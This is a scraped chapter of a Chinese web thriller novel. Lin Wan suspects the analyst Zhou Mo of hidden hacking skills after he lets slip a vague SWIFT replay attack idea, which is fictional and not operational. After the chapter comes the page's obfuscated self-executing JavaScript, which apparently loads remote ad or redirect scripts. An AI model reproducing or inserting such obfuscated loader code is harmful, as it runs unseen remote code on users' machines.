首页
第309章 第三人浮现:周墨
返回
关灯 护眼:关 字号:小

第309章 第三人浮现:周墨的隐藏技能

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第309章第三人浮现:周墨的隐藏技能(第1/2页)
    周墨离开后留下的那句话,像一颗投入心湖的石子,激起的涟漪久久不散。“最不可能的人,往往最有可能。而看起来最有可能的……反而可能是被推出来的靶子。真相,往往藏在你看不见的地方。”
    这近乎明示的警告,让林晚对周墨的怀疑不降反增。他是在暗示阿九可能是“靶子”?还是在为真正的“幽灵”打掩护?或者,他本人就是那个“最不可能”的人,此刻正以提醒者的姿态,玩着灯下黑的把戏?
    周墨提到了“幽灵棱镜”,甚至知道阿九分析过这支队伍。这是否意味着,他本身就对这个技术圈子有着超出普通战术分析师范畴的了解?苏瑾发现的、日志文件中与“幽灵棱镜”旧工具有微弱相似性的痕迹,是否可能通过周墨,而非阿九,与“棋手”内部产生联系?
    林晚坐回桌前,指尖无意识地敲击着桌面。她需要重新审视周墨这个人。
    在“棋手”内部,周墨给人的印象一直是沉稳、细致、逻辑缜密但略显书卷气的分析师。他擅长从海量信息中提炼模式,评估风险,制定计划,是陈烬在战术层面的得力助手。他通常待在后方,不直接参与一线行动,给人的感觉更像一个运筹帷幄的参谋,而非舞刀弄枪的战士,更非在数字黑暗中潜行的黑客。
    但印象是可以伪装的。父亲林振海就曾说过,最高明的隐藏,就是让自己看起来完全无害,甚至有些平庸。
    如果周墨真的身怀绝技,拥有足以实施或协助实施那场栽赃攻击的顶尖黑客技术,那他完美的分析师形象,就是他最好的保护色。谁会怀疑一个整天和数据、报告打交道的分析师,能操纵网络跳转、伪造协议日志呢?
    动机?周墨的动机是什么?他看起来对权力没有太大野心,对陆沉舟也无明显恩怨,似乎只想做好分内工作。但“看起来”不等于真实。也许他有不为人知的过去,与“隐门”或“观棋不语”有牵连?也许他受到了某种胁迫?或者,他有自己隐藏极深的目的?
    林晚回忆起与周墨有限的几次接触。他总是一副温和、专注、公事公办的样子,很少流露个人情绪。在格陵兰行动前的情报分析会上,他提出的几个风险点后来都被证实是准确的,显示了他出色的专业能力。他对自己也一直保持礼貌和适当的距离,既不过分亲近,也不显得疏远。
    完美得像一个设定好程序的机器。
    但今天,他最后的那段话,却流露出一种罕见的、带着些许疲惫和隐晦警告的情绪。这是他的另一面,还是他刻意表现出的另一面?
    林晚决定,不能仅凭猜测。她需要更多关于周墨的信息,尤其是他是否具备那种顶尖黑客技能的佐证。她无法直接调查周墨的背景(那会引起警觉),但或许可以旁敲侧击,或者,利用现有资源进行一些有限的探查。
    她想起了苏瑾。苏瑾作为技术支援,长期与战术分析部门协作,对周墨的工作方式和习惯或许有所了解。而且,苏瑾似乎对内部的人际关系和潜在问题比较敏感。
    但直接询问苏瑾关于周墨的隐藏技能,风险太高,也容易引起苏瑾的警觉和不必要的联想。林晚需要更巧妙的方式。
    她再次打开那个用于接收苏瑾“死信投递”的备用通信接口,检查是否有新消息。没有。苏瑾上次回复后,就再次沉寂了,仿佛从未出现过。
    林晚思考片刻,决定主动联系苏瑾,但内容要谨慎。她构思了一条新的信息,以寻求技术建议为掩护:
    “苏瑾,关于之前提到的日志特征,我又想到一点。攻击者使用了至少七次跳转,并巧妙利用了某些节点的信任关系。这种复杂的路径设计,不仅需要技术,还需要对全球网络节点状况、不同司法管辖区的监控政策有深入了解,甚至需要实时获取某些不公开的漏洞信息。你觉得,在‘棋手’内部,除了阿九,还有谁可能同时具备这种级别的网络工程知识、漏洞情报和……战略规划能力?我是指,能将技术细节与行动时机、战术目标如此紧密结合的能力。不一定非要是一线黑客,也可能是擅长规划和资源整合的人。想到任何可能性都可以,仅供参考。安全第一,不必勉强回复。”
    这条信息,表面上是在探讨攻击者的能力画像,实则将焦点从纯粹的技术能力,扩展到了“技术+战略规划”的结合。这符合周墨作为战术分析师的身份特征。如果苏瑾有所察觉,或许能从她的回复中捕捉到蛛丝马迹。同时,信息也暗示了内部可能存在具备这种综合能力的人,为后续可能的试探埋下伏笔。
    发出信息后,林晚知道又需要等待。在等待期间,她也没有闲着。她开始利用安全屋内有限的、不联网的设备,尝试对“幽灵棱镜”进行一些极其有限的背景调查。她不能直接联网搜索(那会留下痕迹),但她记得父亲的一些旧笔记和资料中,或许有相关内容。可惜,这里没有。
    她转而思考,如果周墨真的有隐藏的黑客技能,他会如何获得并掩饰?是通过自学?还是曾有特殊经历?他的履历在“棋手”内部应该是经过审查的,如果有明显的黑客背景,不太可能不被察觉,除非他伪造或隐藏了这部分经历。那么,他可能是在加入“棋手”之前,或者是在“棋手”的掩护下,秘密发展和维持这项技能。
    这需要极强的自律性和隐蔽性。也意味着,他可能有另一个不为人知的身份或社交圈。
    林晚又想起了周墨最后那句“保护好你自己,别轻易相信任何人,包括……我。”这句话可以理解为善意的提醒,也可以理解为一种高级的、以退为进的伪装,旨在降低林晚对他的戒心,甚至博取信任。
    她感到一阵烦躁。怀疑一旦开始,就如同藤蔓般疯狂生长,缠绕每一个原本清晰的认知。阿九、0号、陈烬、陆沉舟、母亲、周墨……每一个人都有疑点,每一个人都有能力或条件,每一个人都有看似合理或难以捉摸的动机。
    她需要突破口,一个能让她抓住实质证据,而非仅仅在可能性中打转的突破口。
    几天过去了,苏瑾没有回复。周墨也没有再来。安全屋内的生活近乎凝滞,只有窗外的雪山和变幻的云层提醒着时间的流逝。陆沉舟大部分时间待在自己的房间,偶尔出来也是沉默寡言,眼神阴郁。林晚与他之间维持着一种微妙的、互不信任又不得不共处的平衡。
    就在林晚几乎要按捺不住,考虑是否冒险尝试其他途径调查时,一个意想不到的、微小的异常,引起了她的注意。
    那是在一次例行的、由陈烬主持的远程战术简报会上。会议通过加密线路进行,林晚、陆沉舟,以及几位其他核心成员(包括周墨和阿九)在线参加。会议内容主要是分析“隐门”在格陵兰事件后的可能动向,以及“棋手”下一步的行动预案。
    会议进行到一半,讨论到“隐门”可能利用其在金融网络中的影响力进行反制时,陈烬要求技术部门(阿九)评估几个关键金融节点的防护现状和可能被利用的漏洞。阿九的声音从扬声器里传来,清晰但略显平淡,她列举了几个潜在的风险点,并建议加强监控。
    这时,一直沉默听着、偶尔在纸上记录的周墨,突然开口了。他没有看镜头,似乎只是对着自己面前的屏幕自言自语般低声说了一句:“SWIFT的FIN报文复制重放,结合特定中间件的缓存溢出,在UTC+8时区的凌晨维护窗口,成功率会提高大概12%,如果利用新加坡的某个中转节点延迟特性,可以进一步规避异步检测……”
    他的声音不大,语速很快,夹杂着几个非常专业的技术术语。在阿九刚刚做完技术评估的背景下,这听起来就像是一个战术分析师在消化技术信息时的习惯性推演,或者是不经意间将某些技术细节与战术时机结合起来思考。
    但林晚的耳朵捕捉到了几个关键词:“UTC+8时区”、“新加坡中转节点延迟特性”。UTC+8,正是苏瑾提到的、在伪造日志残留元数据中发现的、与系统时钟偏移模式有微弱关联的时区!而“新加坡中转节点”,也让她心中一动。
    周墨似乎立刻意识到自己说了什么,声音戛然而止,轻轻咳嗽了一声,将话题拉回战术层面:“当然,这只是理论上的极端情况,实际实施需要极其苛刻的条件和内部配合。”
    陈烬似乎没太在意这个插曲,只是“嗯”了一声,继续下一个议题。阿九那边也沉默着,没有对周墨的补充发表评论。
    会议继续进行,但林晚的心却无法平静了。周墨那看似随口的一句话,是巧合吗?
    UTC+8时区,正是苏瑾从日志元数据中发现的、可能暗示伪造者工作习惯或物理位置的时区线索。虽然苏瑾强调这只是微弱关联,非直接证据,但在此刻从周墨口中听到,结合他之前对“幽灵棱镜”的了解,让林晚无法不产生联想。
    更重要的是,周墨提到的“特定中间件的缓存溢出”和“利用中转节点延迟特性规避异步检测”,这听起来非常具体,甚至像是对某种特定攻击手法的描述。这绝不是一个普通战术分析师“消化信息”时能自然联想到的细节。这需要深厚的底层技术知识,对特定系统漏洞和网络协议的深入理解,甚至可能是……实际操作经验。
    (本章未完,请点击下一页继续阅读)第309章第三人浮现:周墨的隐藏技能(第2/2页)
    周墨,一个战术分析师,在讨论金融网络防护时,极其自然(甚至可能是不自觉)地引用了一个高度技术化、且涉及特定时区和节点特征的攻击思路片段?
    这绝不正常。
    林晚几乎可以肯定,周墨拥有远超他表面职务所需的技术能力,而且很可能对网络攻击的某些细分领域有深入研究和实践经验。他平时将这部分能力隐藏得极好,但刚才在思考具体战术场景时,或许是因为沉浸其中,或许是因为这个话题触及了他的某个“专业领域”,他不自觉地流露了出来。
    他提到的“UTC+8时区”和“新加坡节点”,是习惯使然,还是无意中暴露了某种关联?
    会议结束后,林晚立刻回到房间,反锁房门,心脏在胸腔里怦怦直跳。她感到自己可能抓住了什么,一个被精心隐藏的线头。
    周墨就是那个“第三人”吗?那个拥有顶尖黑客技能,却以分析师身份潜伏在“棋手”内部的人?他是否就是伪造日志、实施攻击的“幽灵”?或者至少,是“幽灵”的技术协助者?
    他的动机是什么?他刚才的“失言”,是真的不小心,还是某种试探?如果是试探,他想试探谁?阿九?还是她林晚?
    林晚强迫自己冷静下来。仅凭一句话,还远不能定罪。她需要更多证据。她需要知道周墨的过去,他加入“棋手”之前的经历,他是否与“幽灵棱镜”或“织网人”有关联,他是否曾表现出任何异常的技术兴趣或能力。
    但调查周墨的过去,同样危险。如果周墨真的是“幽灵”,那么任何针对他的调查都可能打草惊蛇。如果周墨不是“幽灵”,调查他也是对同伴的不信任,一旦被发现,后果同样严重。
    然而,周墨最后那句“别轻易相信任何人,包括……我”,此刻听起来更像是一种挑衅,或者一种带着悲观的预言。他是否预感到林晚会怀疑他?他是否在暗示,连他自己也不可信?
    林晚走到窗边,看着外面阴沉下来的天空,山雨欲来。她想起父亲笔记中的一句话:“当所有人都值得怀疑时,首先要怀疑的,是那个最不让你怀疑的人。”
    周墨,一直以理性、可靠、甚至有些平庸的形象示人。他是最不让人怀疑的那一个。
    而现在,这个最不让人怀疑的人,身上却浮现出了与“幽灵”特征高度吻合的隐藏技能。技术能力、对特定时区和节点特征的了解、对战术与技术结合的热悉……
    “最不可能的人,往往最有可能。”周墨自己的话,此刻像一道闪电,照亮了林晚心中某个黑暗的角落。
    她需要验证。需要一个安全的方式,去验证周墨的隐藏技能,以及他是否与“幽灵棱镜”、与那份伪造日志、与UTC+8时区有更深的联系。
    直接质问是不可能的。她需要设计一个局,一个能让周墨在不经意间,暴露出更多痕迹的局。这个局必须自然,不能引起他的警觉,最好能利用他作为战术分析师的身份和习惯。
    一个念头渐渐在林晚脑海中成形。或许,她可以借请教战术问题之名,与周墨进行更深入的、涉及具体技术细节的讨论,并在讨论中,有意无意地引入一些与伪造日志攻击相关的技术概念、或者“幽灵棱镜”的某些已知特征,观察周墨的反应。他可能会警惕,但也可能会在专业讨论中,不自觉地流露出更多东西。
    同时,她还需要设法从其他渠道,验证周墨的背景。也许……可以从阿九那里旁敲侧击?阿九作为技术核心,对内部人员的技术底细可能有所了解,尤其是如果周墨真的隐藏了实力,阿九是否有所察觉?但直接问阿九同样危险,而且阿九本身也在嫌疑名单上。
    或者,从“棋手”的档案系统入手?但那需要极高的权限,且极易留下访问记录。
    就在林晚苦苦思索对策时,她的加密通讯器轻轻震动了一下,提示有新的、来自非标准渠道的信息。是苏瑾的回复。
    林晚立刻点开,信息很简短,似乎是在仓促中发出:
    “你提到的那种结合能力,罕见。技术顶尖者,往往疏于宏观;擅长战略者,常不懂代码。两者皆精,且能完美隐藏后者,我所知不多。阿九是一个。另有一人,背景成谜,传闻早年曾混迹灰产,后洗白,精于战术推演,尤擅将技术漏洞转化为战术优势,但从未证实其有直接动手能力。此人代号‘修补匠’(Tinker),但只是传闻,从未证实与任何已知代号或人物对应。内部档案或可查,但需极高权限。小心。此话题勿再提。”
    苏瑾的回复,像一盆冷水浇在林晚头上,让她瞬间清醒,又感到一阵刺骨的寒意。
    “修补匠”(Tinker)?一个擅长将技术漏洞转化为战术优势、早年可能混迹灰产、背景成谜的人?
    这个描述,与周墨何其相似!周墨不就是最擅长将技术细节(包括漏洞)转化为战术方案的人吗?他的过去,在“棋手”内部似乎也从未被详细提及,只知道他是陈烬招募进来的,之前似乎在一些私人安全顾问公司工作过。
    难道周墨就是那个传说中的“修补匠”?如果他真的有灰产背景,那他拥有顶尖黑客技能,就完全说得通了!他加入“棋手”后,将这部分能力隐藏起来,只以分析师的面目示人。
    而“修补匠”这个代号,从未被证实对应任何人……这意味着,即使这个传闻是真的,知道周墨就是“修补匠”的人也极少。这也能解释为什么他能在“棋手”内部隐藏得如此之好。
    如果周墨就是“修补匠”,那么他完全有能力策划甚至部分参与那场栽赃攻击。他有技术能力(隐藏的),有战术头脑(明面的),能接触到格陵兰行动的时间线(作为分析师),或许还能通过某种不为人知的方式,利用或了解到“棋手”内部网络资源的某些特征。他甚至可能通过其过去的灰产人脉,与“织网人”或“幽灵棱镜”这类组织有联系!
    动机呢?如果他是“修补匠”,一个混迹过灰产、背景成谜的人,他加入“棋手”的动机本身就值得怀疑。是为了洗白?还是另有所图?他是否一直与“隐门”或“观棋不语”有勾结?或者,他根本就是“观棋不语”本人,或者其核心成员?
    这个推测太大胆,也太惊悚。但所有的线索——技术特征、时区关联、苏瑾的提示、周墨自己的“失言”、以及“修补匠”的传闻——似乎都隐隐指向了这个方向。
    周墨,这个看起来最不可能的人,难道真的就是潜伏在“棋手”内部,那个技术高超、心思深沉、策划了栽赃陆沉舟、搅乱全局的“幽灵”?
    林晚感到后背渗出冷汗。她回想起周墨每次见她时那种温和、理性、公事公办的态度,想起他最后那句似是而非的警告……如果这一切都是伪装,那这个人的心机和演技,该有多么可怕?
    她需要立刻验证,立刻!但绝不能打草惊蛇。
    她看着苏瑾信息最后那句“小心。此话题勿再提。”苏瑾显然也意识到了其中的危险,并且很可能对“修补匠”有所了解,但不愿或不敢深谈。
    林晚关掉通讯器,在房间里缓缓踱步。她的心跳依然很快,但思维却异常清晰和冰冷。
    如果周墨真是“修补匠”,真是“幽灵”,那么她之前的所有猜测和排查,都需要重新调整。阿九的矛盾行为,或许有新的解释。0号和陈烬的嫌疑,或许需要重新评估。甚至母亲叶瑾在其中扮演的角色,也可能有所不同。
    但这一切,都建立在“周墨是修补匠”这个大胆假设的基础上。她需要证据,哪怕只是一点点的、间接的证据。
    她看向桌上那份伪造日志的分析报告,又想起周墨在会议上那句关于“UTC+8时区”和“新加坡节点”的低语。
    一个计划,在她脑中逐渐成型。她需要创造一个机会,一个能让周墨“自然而然”地再次展现他隐藏技能,或者暴露出他与“幽灵棱镜”、与UTC+8时区更深层次联系的机会。
    而机会,往往就藏在日常的工作和交流中。周墨是战术分析师,他需要数据,需要情报,需要推演各种可能性。那么,她就给他提供一个“可能性”,一个恰好涉及UTC+8时区、涉及复杂网络跳转、涉及“幽灵棱镜”可能手法的战术推演需求。
    她要主动接近周墨,以请教战术为名,行试探调查之实。这很危险,如同在深渊边缘行走,稍有不慎,就可能万劫不复。
    但林晚的眼神,却越来越亮,越来越冷。恐惧依然存在,但已被一种更强烈的、找到目标的兴奋感和破釜沉舟的决心所取代。
    第三人已经浮现,虽然面目模糊,但轮廓已显。现在,她要做的,就是揭开那层伪装,看清那张脸的真实模样。
    她坐回桌边,开始构思,如何向周墨提出那个“恰到好处”的战术问题。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();